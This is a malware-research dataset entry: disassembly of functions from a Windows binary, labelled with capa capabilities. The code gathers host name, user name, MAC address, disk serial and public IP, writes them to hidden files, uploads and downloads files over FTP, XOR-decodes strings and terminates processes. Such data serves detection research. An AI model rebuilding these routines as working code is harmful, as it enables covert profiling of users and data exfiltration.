joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44ea50
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5da2fb
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x6d5760]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x44eaf2
push 1
push 0x40
push 8
push str.Temp
lea ecx, [ebp - 0xd0]
call fcn.00430010
lea eax, [ebp - 0xd0]
mov dword [ebp - 4], 0
push str._nComputer_Name:
push eax
call fcn.0042bd40
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0042bd40
add esp, 0x10
lea ecx, [ebp - 0xd0]
call fcn.004308e0
call fcn.0044e380
lea ecx, [ebp - 0xd0]
call fcn.00430290
jmp 0x44eaf7
call fcn.0044e380
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005b6a74
mov esp, ebp
pop ebp
ret

Function at 0x44eb10
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5da2fb
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x6d5760]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x14
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x44ebb0
push 1
push 0x40
push 8
push str.Temp
lea ecx, [ebp - 0xd0]
call fcn.00430010
lea eax, [ebp - 0xd0]
mov dword [ebp - 4], 0
push str._nComputer_Username:
push eax
call fcn.0042bd40
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0042bd40
add esp, 0x10
lea ecx, [ebp - 0xd0]
call fcn.004308e0
call fcn.0044ea50
lea ecx, [ebp - 0xd0]
call fcn.00430290
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005b6a74
mov esp, ebp
pop ebp
ret
Function at 0x44f800
Capabilities:
Create thread
Encode data using xor
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5da446
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
push ebx
push esi
push edi
mov eax, dword [0x6d5760]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x7046f4], 1
jne 0x44f8d6
push 1
push 0x40
push 8
push str.GameGuard_Log.txt
lea ecx, [ebp - 0x168]
call fcn.00430010
mov dword [ebp - 0x10], 0x5f2f9c
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x44f8a9
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x44f8a0
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x44f887
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x168]
push edi
push eax
call fcn.0042bd40
add esp, 8
lea ecx, [ebp - 0x168]
call fcn.004308e0
lea ecx, [ebp - 0x168]
mov dword [ebp - 4], 0xffffffff
call fcn.00430290
cmp dword [0x704704], 1
jne 0x44f9d6
lea eax, [ebp - 0x18]
push eax
call fcn.005ba559
lea eax, [ebp - 0x18]
push eax
call fcn.005ba2ba
add esp, 8
lea ecx, [ebp - 0xc0]
mov esi, eax
push 1
push 0x40
push 8
push 0x5eba44
call fcn.00430010
lea eax, [ebp - 0xc0]
mov dword [ebp - 4], 1
push str._nLocal_Time:
push eax
call fcn.0042bd40
push esi
call fcn.005ba0ad
push eax
lea eax, [ebp - 0xc0]
push eax
call fcn.0042bd40
mov dword [ebp - 0x10], 0x5f2fd4
add esp, 0x14
mov edi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x10]
add ebx, 0x14
cmp byte [edi + 0x13], 0
je 0x44f992
mov esi, dword [edi + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x44f989
sub ebx, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + edi + 7]
xor al, byte [ebx + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [edi + 0xf]
jb 0x44f970
mov eax, dword [edi + 0xf]
mov ebx, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc0]
push ebx
push eax
call fcn.0042bd40
lea eax, [ebp - 0xc0]
push str._n__________________
push eax
call fcn.0042bd40
add esp, 0x10
lea ecx, [ebp - 0xc0]
call fcn.004308e0
push 2
push 0x5eba44
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xc0]
call fcn.00430290
mov eax, dword [0x7046f8]
cmp eax, 1
je 0x44fa21
cmp eax, 3
je 0x44fa21
cmp eax, 4
je 0x44fa21
push 0
cmp eax, 2
jne 0x44fa17
push 0
push 0
push 0x44fa30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
test eax, eax
jne 0x44fa11
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x44fab0
jmp 0x44f9fa
Function at 0x44fb30
Capabilities:
Connect to http server
Create http request
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x8000000
push 1
push dword [0x704668]
mov dword [ebp - 0xc], eax
push dword [0x704664]
push 0x15
push dword [0x704660]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 4], 0x5f30f4
mov esi, eax
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
mov dword [ebp - 8], esi
cmp byte [ebx + 0x13], 0
je 0x44fbcc
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x44fbc0
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x44fba7
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov esi, dword [ebp - 8]
mov byte [ecx + eax], 0
push 0
push 1
push 0x80
push 1
push 0x5f30ec
push edi
push esi
call dword [sym.imp.WININET.dll_FtpGetFileA]
test eax, eax
je 0x44fc0f
push 2
push 0x5f30ec
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0xc]
call esi
call fcn.004508a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x5f30ec
call fcn.005ba7ac
push 0x5f30f0
call fcn.005ba7ac
add esp, 8
call fcn.0044f800
int3

Function at 0x44fc30
Capabilities:
Capture public ip
Connect to http server
Create http request
Read data from internet
Receive data
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x6d5760]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.WININET.dll_InternetOpenA]
push edi
push 0
push 0
push 0
push 1
push 0
call esi
push 0
push 0
push 1
push dword [0x704668]
push dword [0x704664]
push 0x15
push dword [0x704660]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0
push 0
push 0
push 0
mov edi, eax
call esi
push 0
push closesocket
push 0
push 0
mov ebx, eax
push str.http:__icanhazip.com_
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x44fd15
lea eax, [ebp - 0x38]
push eax
push 0x2f
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x38]
cmp eax, 0x2f
jae 0x44fd10
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp + eax - 0x34], 0
call esi
push 0
push 2
lea eax, [ebp - 0x34]
push eax
push 0x5f30f0
push edi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x44fcfe
push edi
call esi
push ebx
call esi
call fcn.0044fb30
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005b6a74
mov esp, ebp
pop ebp
ret
push 0x5f30f0
call fcn.005ba7ac
add esp, 4
call fcn.0044f800
call fcn.005b945b
call fcn.0044fe40
int3
Function at 0x44fd20
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5da47b
mov eax, dword fs:[0]
push eax
sub esp, 0x128
mov eax, dword [0x6d5760]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x63
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x80], 0
push 0
push eax
call fcn.005b7980
add esp, 0xc
mov byte [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x13], 0
xorps xmm0, xmm0
mov dword [ebp - 0x84], 0
movq qword [ebp - 0x1b], xmm0
push 0xa
push eax
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x88], 0
push eax
lea eax, [ebp - 0x88]
mov dword [ebp - 0x8c], 0
push eax
lea eax, [ebp - 0x84]
push eax
push 0x64
lea eax, [ebp - 0x80]
push eax
push 0x5f3124
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp eax, 1
jne 0x44fe1c
push eax
push 0x40
push 8
push 0x5f30f0
lea ecx, [ebp - 0x134]
call fcn.00430010
lea eax, [ebp - 0x134]
mov dword [ebp - 4], 0
push 0x5f3120
push eax
call fcn.0042bd40
add esp, 8
lea ecx, [ebp - 0x134]
push dword [ebp - 0x84]
call fcn.0044f0b0
lea ecx, [ebp - 0x134]
call fcn.004308e0
call fcn.00450e80
lea ecx, [ebp - 0x134]
call fcn.00430290
jmp 0x44fe21
call fcn.00450f40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005b6a74
mov esp, ebp
pop ebp
ret
Function at 0x44fe40
Capabilities:
Create thread
Encode data using xor
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5da446
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
push ebx
push esi
push edi
mov eax, dword [0x6d5760]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x7046f4], 1
jne 0x44ff16
push 1
push 0x40
push 8
push str.GameGuard_Log.txt
lea ecx, [ebp - 0x168]
call fcn.00430010
mov dword [ebp - 0x10], 0x5f308c
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x44fee9
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x44fee0
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x44fec7
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x168]
push edi
push eax
call fcn.0042bd40
add esp, 8
lea ecx, [ebp - 0x168]
call fcn.004308e0
lea ecx, [ebp - 0x168]
mov dword [ebp - 4], 0xffffffff
call fcn.00430290
cmp dword [0x704704], 1
jne 0x450016
lea eax, [ebp - 0x18]
push eax
call fcn.005ba559
lea eax, [ebp - 0x18]
push eax
call fcn.005ba2ba
add esp, 8
lea ecx, [ebp - 0xc0]
mov esi, eax
push 1
push 0x40
push 8
push 0x5eba44
call fcn.00430010
lea eax, [ebp - 0xc0]
mov dword [ebp - 4], 1
push str._nLocal_Time:
push eax
call fcn.0042bd40
push esi
call fcn.005ba0ad
push eax
lea eax, [ebp - 0xc0]
push eax
call fcn.0042bd40
mov dword [ebp - 0x10], str.whS
add esp, 0x14
mov edi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x10]
add ebx, 0x14
cmp byte [edi + 0x13], 0
je 0x44ffd2
mov esi, dword [edi + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x44ffc9
sub ebx, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + edi + 7]
xor al, byte [ebx + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [edi + 0xf]
jb 0x44ffb0
mov eax, dword [edi + 0xf]
mov ebx, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc0]
push ebx
push eax
call fcn.0042bd40
lea eax, [ebp - 0xc0]
push str._n__________________
push eax
call fcn.0042bd40
add esp, 0x10
lea ecx, [ebp - 0xc0]
call fcn.004308e0
push 2
push 0x5eba44
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xc0]
call fcn.00430290
mov eax, dword [0x7046f8]
cmp eax, 1
je 0x450061
cmp eax, 3
je 0x450061
cmp eax, 4
je 0x450061
push 0
cmp eax, 2
jne 0x450057
push 0
push 0
push 0x450070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
test eax, eax
jne 0x450051
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x4500f0
jmp 0x45003a
Function at 0x450410
Capabilities:
Encode data using xor
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x14
mov dword [ebp - 4], 4
call fcn.005b96b2
add esp, 4
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x288
call fcn.005b96b2
add esp, 4
push eax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x450528
push esi
push edi
push dword [ebp - 4]
call fcn.005b96b2
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
mov dword [ebp - 0x10], esi
push eax
push esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x450514
mov dword [ebp - 8], 0x5f3128
push ebx
mov ebx, dword [ebp - 8]
mov edi, dword [ebp - 8]
add edi, 0x14
cmp byte [ebx + 0x13], al
je 0x4504c5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 8], ecx
test esi, esi
je 0x4504b9
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 8]
cmp edx, dword [ebx + 0xf]
jb 0x4504a0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov esi, dword [ebp - 0x10]
mov byte [ecx + eax], 0
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
push edi
mov edi, dword [ebp - 0xc]
push edi
call fcn.005b7fdc
add esp, 0x20
pop ebx
push esi
call fcn.005b967a
add esp, 4
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0xc]
push esi
call fcn.005b967a
add esp, 4
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0044f3f0
int3

Function at 0x450530
Capabilities:
Create thread

Disassembly:
push 0x5f30ec
call fcn.005ba7ac
push 0x5f30f0
call fcn.005ba7ac
push 0x5f2d74
call fcn.005ba7ac
add esp, 0xc
push 0
push 0
push 0
push 0x450df0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x450e80
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5da2fb
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x6d5760]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x450f22
push 1
push 0x40
push 8
push 0x5f30f0
lea ecx, [ebp - 0xd0]
call fcn.00430010
lea eax, [ebp - 0xd0]
mov dword [ebp - 4], 0
push 0x5f3120
push eax
call fcn.0042bd40
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0042bd40
add esp, 0x10
lea ecx, [ebp - 0xd0]
call fcn.004308e0
call fcn.00450f40
lea ecx, [ebp - 0xd0]
call fcn.00430290
jmp 0x450f27
call fcn.00450f40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005b6a74
mov esp, ebp
pop ebp
ret

Function at 0x450f40
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5da5ab
mov eax, dword fs:[0]
push eax
sub esp, 0x114
mov eax, dword [0x6d5760]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], 0x64
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x450fe0
push 1
push 0x40
push 8
push 0x5f30f0
lea ecx, [ebp - 0x120]
call fcn.00430010
lea eax, [ebp - 0x120]
mov dword [ebp - 4], 0
push 0x5f3120
push eax
call fcn.0042bd40
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.0042bd40
add esp, 0x10
lea ecx, [ebp - 0x120]
call fcn.004308e0
call fcn.0044fc30
lea ecx, [ebp - 0x120]
call fcn.00430290
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005b6a74
mov esp, ebp
pop ebp
ret
Function at 0x451490
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x4513e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x4515b0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x7045f8], 0xb7
push ebx
push esi
push edi
jne 0x451726
mov eax, dword [0x7046f8]
cmp eax, 1
jne 0x451641
mov dword [ebp - 4], 0x5f3280
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x451625
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x45161c
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x451603
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x704674]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x4516b6
mov dword [ebp - 4], str.9_r__
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x45169a
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x451691
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x451678
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x704674]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 4], 0x5f3280
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x45170a
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x451701
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x4516e8
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x704674]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4517f0
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x6d5760]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
mov dword [ebp - 0x13c], ebx
cmp ebx, 0xffffffff
je 0x451875
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], pe_nt_image_headers32
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x451875
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
lea ecx, [ecx]
push dword [ebp - 0x124]
push 0
push 0x1f0fff
call edi
mov esi, eax
test esi, esi
je 0x451862
push esi
call fcn.00451750
add esp, 4
test al, al
jne 0x45188b
lea eax, [ebp - 0x12c]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x451840
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.005b6a74
mov esp, ebp
pop ebp
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x138]
mov dword [ebp - 0x138], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 0x138], 0x103
je 0x451954
mov dword [ebp - 0x134], 0x5f3340
mov esi, dword [ebp - 0x134]
mov edi, dword [ebp - 0x134]
add edi, 0x14
mov dword [ebp - 0x130], esi
cmp byte [esi + 0x13], 0
je 0x45193f
mov esi, dword [esi + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x134], ecx
test esi, esi
mov esi, dword [ebp - 0x130]
je 0x451936
mov ebx, eax
sub edi, ebx
mov eax, edx
lea ecx, [edx + ebx]
and eax, 7
inc edx
mov al, byte [eax + esi + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
cmp edx, dword [esi + 0xf]
jb 0x451913
mov ebx, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x134]
mov eax, dword [esi + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0
push str.Memory_Scanner
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x451873
mov dword [ebp - 0x130], 0x5f3394
mov ebx, dword [ebp - 0x130]
mov edi, dword [ebp - 0x130]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4519b7
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.005b96b2
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x130], ecx
test esi, esi
je 0x4519ae
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x130]
cmp edx, dword [ebx + 0xf]
jb 0x451992
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0
push str.Memory_Scanner
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x451a90
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x451ee0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret